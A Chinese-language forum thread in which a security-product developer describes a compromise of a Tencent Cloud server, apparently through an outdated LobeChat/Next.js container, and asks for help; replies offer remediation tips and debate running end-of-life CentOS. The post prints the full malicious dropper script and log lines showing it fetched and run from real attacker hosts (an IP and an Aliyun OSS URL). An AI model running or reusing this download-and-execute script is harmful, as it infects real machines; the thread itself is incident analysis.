求助,我的腾讯云服务器被攻破了

我的一个腾讯云服务器,已经部署了几年了,centos7系统,ssh版本也比较低,7.4但是高位端口,密码也比较复杂,不太可能被爆破,还有fail2ban。几年来只做一个frp和zerotier的服务器。
但是12月5号晚上23点55分,收到了腾讯云的一个警告,告诉我存在恶意文件/tmp/042d0094tcp 十分钟后又收到了一个警告存在恶意文件/tmp/memfd:a
经过我的排查/tmp文件消失了,然后看不到恶意进程,ssh登录没有任何记录。history没有除了我的执行记录,cpu没有异常占用,查看腾讯云的记录找到了一个异常脚本记录

2025-12-05 23:55:23.378 17998 18007 WRN Malware report mod: 9 pid: 0 md5: 7d7f58a854947e95bc18917da635689d path: /proc/18257/root/app/./python1.sh trace: cad95160004b43d49786655c25a16f79

然后我全盘搜索在一个docker里面看到了这个文件

[root@VM-8-2-centos ~]# find / -name python1.sh
/var/lib/docker/overlay2/e4e2f61cb950a1dd486ae47901c49e35fb6f1e9d4abe984d50e5d0acf7dbdb55/diff/app/python1.sh
/var/lib/docker/overlay2/e4e2f61cb950a1dd486ae47901c49e35fb6f1e9d4abe984d50e5d0acf7dbdb55/merged/app/python1.sh

查看该文件确实是恶意文件

cat /var/lib/docker/overlay2/e4e2f61cb950a1dd486ae47901c49e35fb6f1e9d4abe984d50e5d0acf7dbdb55/merged/app/python1.sh
export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin
mkdir -p /tmp
cd /tmp
touch /usr/local/bin/writeablex >/dev/null 2>&1 && cd /usr/local/bin/
touch /usr/libexec/writeablex >/dev/null 2>&1 && cd /usr/libexec/
touch /usr/bin/writeablex >/dev/null 2>&1 && cd /usr/bin/
rm -rf /usr/local/bin/writeablex /usr/libexec/writeablex /usr/bin/writeablex
export PATH=$PATH:$(pwd)

l64="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=l64&stage=true"
l32="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=l32&stage=true"
a64="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=a64&stage=true"
a32="119.45.243.154:8443/?h=119.45.243.154&p=8443&t=tcp&a=a32&stage=true"

v="042d0094tcp"
rm -rf $v

ARCH=$(uname -m)
if [ ${ARCH}x = "x86_64x" ]; then
    (curl -fsSL -m180 $l64 -o $v||wget -T180 -q $l64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l64'", "'$v'")')
elif [ ${ARCH}x = "i386x" ]; then
    (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")')
elif [ ${ARCH}x = "i686x" ]; then
    (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")')
elif [ ${ARCH}x = "aarch64x" ]; then
    (curl -fsSL -m180 $a64 -o $v||wget -T180 -q $a64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a64'", "'$v'")')
elif [ ${ARCH}x = "armv7lx" ]; then
    (curl -fsSL -m180 $a32 -o $v||wget -T180 -q $a32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a32'", "'$v'")')
fi

chmod +x $v
(nohup $(pwd)/$v > /dev/null 2>&1 &) || (nohup ./$v > /dev/null 2>&1 &) || (nohup /usr/bin/$v > /dev/null 2>&1 &) || (nohup /usr/libexec/$v > /dev/null 2>&1 &) || (nohup /usr/local/bin/$v > /dev/null 2>&1 &) || (nohup /tmp/$v > /dev/null 2>&1 &)

排查到这个docker是lobechat的docker,然后看了下日志

Connecting to sup001.oss-cn-hongkong.aliyuncs.com (47.79.65.237:443)
wget: note: TLS certificate validation not implemented
saving to 'python1.sh'
python1.sh           100% |********************************|  1816  0:00:00 ETA
'python1.sh' saved
./python1.sh: line 20: curl: not found
[rewrite] / -> /en-US__0__light
Connecting to sup001.oss-cn-hongkong.aliyuncs.com (47.79.65.237:443)
wget: note: TLS certificate validation not implemented
wget: can't open 'python1.sh': File exists
 ⨯ [Error: Command failed: wget https://sup001.oss-cn-hongkong.aliyuncs.com/123/python1.sh && chmod 777 python1.sh && ./python1.sh
Connecting to sup001.oss-cn-hongkong.aliyuncs.com (47.79.65.237:443)
wget: note: TLS certificate validation not implemented
wget: can't open 'python1.sh': File exists
] {
  status: 1,
  signal: null,
  output: [Array],
  pid: 88,
  stdout: <Buffer >,
  stderr: <Buffer 43 6f 6e 6e 65 63 74 69 6e 67 20 74 6f 20 73 75 70 30 30 31 2e 6f 73 73 2d 63 6e 2d 68 6f 6e 67 6b 6f 6e 67 2e 61 6c 69 79 75 6e 63 73 2e 63 6f 6d 20 ... 117 more bytes>,
  digest: '804846767'
}

果然被攻破了,因为我本人是从事安全行业的,不过是偏安全产品开发,所以攻防的知识没有特别多,但是对于安全的了解可能比普通开发者稍微多点。想到了今天nextjs有个新的漏洞,所有产品都在排查有无影响。
这才意识到这次攻陷,是否是因为lobechat用的nextjs导致?
我的lobechat是很久之前部署的,一直忘记了关闭,版本非常老了v1.52.0不知道最新版有无影响。

想请教下大家,几个问题

  • 就是我的lobechat是容器内的,为何会穿透到宿主机/tmp目录。
  • 以及我目前没有看到恶意的进程,启动项,crontab,passwd等都无恶意迹象,是否停了lobechat就可以了。
  • 以及我的这次攻陷是否是因为最近爆出来的nextjs漏洞导致呢
    这次是第一次切实感受到被0day漏洞攻破的感觉。
17 个赞

两个建议
(1)检查下环境变量里面有没有不该出现的东西,有的话赶快处理
(2)密码、ssh私钥,全部换一遍,顺便检查下用户

这样就差不多了

2 个赞

centos7不是停止维护了吗,佬友为何不更换系统…
:distorted_face:

1 个赞

非安全人员刚刚重装完公司服务器,只能说已经有公司被勒索了,还是注意点好。

一次买了好多年的云服务器了,然后主要是zerotier全套根节点私有化部署,部署一次非常麻烦,还需要自己修改一些代码才部署成功的,而且资料可能现在都不全了。
所以就一直懒得换了。云服务器基本上一年都登录不了一次,就是做一下我所有设备的私有组网和穿透用。

那就是可以看看有没有多什么文件和进程

可能是nextjs吧

另外求助各位大佬一个问题,突然想起来,我给甲方运维了一个Lobechat的云服务,但是服务器的登录方式在公司里面,目前远程不了,当前还不能马上去解决这个漏洞。
这个Lobechat是前面放了nginx用了nginx的认证的,这种情况下如果不过认证,会不会收到nextjs漏洞的影响。如果不影响我就周一再去处理了。

有漏洞能提权啊,刚还看到个帖子,有人把可视化面板进行漏洞扫描和提权的工具发出来了。

另外吐槽下佬友,虽然是搞安全方面的,怎么感觉所有操作都很不安全,系统老旧、容器不更新 :tieba_096:

2 个赞

你以为搭科学截点呢?可能有生产业务离不开吧

nginx配置了认证访问?没过认证也就不加载nextjs,应该没事儿吧

CVE-2025-55182赶紧自查吧

你在说啥 :distorted_face:
停止维护了,生命周期到了的系统本应该被抛弃。
就像xp一样。
你不知道停止维护之后会有什么问题
说生产业务离不开都是骗人的,只是不愿而已。

1 个赞

你不知道很多地方还在用winxp,winme?

有些软件必须要使用,当初的软件开发那批人都退休不干了,用于生产力无法脱离生产,只能继续用的不在少数,停止维护你就不生产关门倒闭?

生产力的理念是 能不折腾就不折腾 稳

说到底很简单 不愿意花钱, 程序能跑就行 佬友认为这才是正常的那我无话说。
至少 我不会这样。其他人我不知道

2 个赞

折腾精神 :blush:

这就是用cf的好处吗

刚刚从佬那里看到的

2 个赞

edgeone昨天还是前天也发文了 动作都挺快的
:distorted_face:

2 个赞